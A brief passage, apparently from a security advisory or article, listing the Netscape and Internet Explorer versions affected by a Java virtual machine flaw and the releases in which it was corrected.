Communicator 4.0-4.79, 6.0-6.2.1. It also affected Microsoft Internet Explorer 4.0-6.0. The flaw
was corrected in Netscape Navigator 6.2.2, Java 2 SDK Standard Edition, v 1.4 and consecutive
implementation of Microsoft’s JVM.
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